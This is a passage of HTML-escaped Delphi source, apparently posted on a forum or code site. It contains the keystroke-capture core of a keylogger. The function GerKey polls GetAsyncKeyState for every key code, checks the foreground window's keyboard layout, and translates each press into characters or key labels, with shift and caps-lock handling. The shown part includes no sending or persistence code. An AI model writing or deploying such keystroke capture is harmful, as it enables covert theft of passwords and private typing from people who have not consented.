/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;36 : Fs:=&apos;&amp;#91;Home]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Arrow Up Down Left Right &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;37 : Fs:=&apos;&amp;#91;Left]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;38 : Fs:=&apos;&amp;#91;Up]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;39 : Fs:=&apos;&amp;#91;Right]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;40 : Fs:=&apos;&amp;#91;Down]&apos;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;44 : Fs:=&apos;&amp;#91;Print Screen]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;45 :Fs:=&apos;&amp;#91;Insert]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;46 :Fs:=&apos;&amp;#91;Del]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;112..123: //F1-F12 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FS:=&apos;&amp;#91;F&apos;+IntToStr(v - 111&amp;#41;+&apos;]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;145: FS:=&apos;&amp;#91;Scroll Lock]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Fs:=&apos;&apos;;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReSult:=Fs; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; Function GerKey:sh; &lt;br /&gt; var&amp;nbsp;&amp;nbsp;i,l: byte; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s:sh; &lt;br /&gt; begin &lt;br /&gt; s:=&apos;&apos;; &lt;br /&gt; If&amp;nbsp;&amp;nbsp;GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil&amp;#41;&amp;#41; = 67699721 then &lt;br /&gt; for i:=8 To 222 do &lt;br /&gt; if GetAsyncKeyState(i&amp;#41;=-32767 then &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;S:=Nativ(i&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if s=&apos;&apos; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case i of &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Number 1234567890 Symbol !@#$%^&amp;*(&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;48 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;&amp;#41;&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;0&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;49 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;!&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;1&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;50 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;@&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;2&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;51 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;#&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;3&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;52 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;$&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;4&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;53 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;%&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;5&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;54 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;^&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;6&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;55 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;&amp;&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;7&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;56 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;*&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;8&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;57 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;(&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;9&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;65..90 : // a..z , A..Z &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if ((GetKeyState(VK_CAPITAL&amp;#41;&amp;#41;=1&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;S:=LowerCase(Chr(i&amp;#41;&amp;#41; //a..z &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;S:=UpperCase(Chr(i&amp;#41;&amp;#41; //A..Z &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;S:=UpperCase(Chr(i&amp;#41;&amp;#41; //A..Z &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;S:=LowerCase(Chr(i&amp;#41;&amp;#41;; //a..z &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Numpad &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;96..105 : S:=inttostr(i-96&amp;#41;; //Numpad&amp;nbsp;&amp;nbsp;0..9 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;106:S:=&apos;*&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;107:S:=&apos;&amp;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;109:S:=&apos;-&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;110:S:=&apos;.&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;111:S:=&apos;/&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;144 : S:=&apos;&amp;#91;Num Lock]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;186 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;:&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;187 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;+&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;=&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;188 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;&lt;&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;,&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;189 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;_&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;-&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;190 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;&gt;&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;.&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;191 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;?&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;/&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;192 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;~&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;`&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;219 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;{&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;&amp;#91;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;220 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;|&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;&amp;#92;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;221 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;}&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;]&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;222 : if GetKeyState(VK_SHIFT&amp;#41;&lt;0 then S:=&apos;&quot;&apos; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else S:=&apos;&apos;&apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt; If&amp;nbsp;&amp;nbsp;GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, nil&amp;#41;&amp;#41; &lt;&gt; 67699721 then &lt;br /&gt; for i:=8 To 222 do &lt;br /&gt; if GetAsyncKeyState(i&amp;#41;=-32767 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;S:=Nativ(i&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if s=&apos;&apos; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;S:=GetKey(i&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Result:=s; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end. &lt;br /&gt;&lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt; 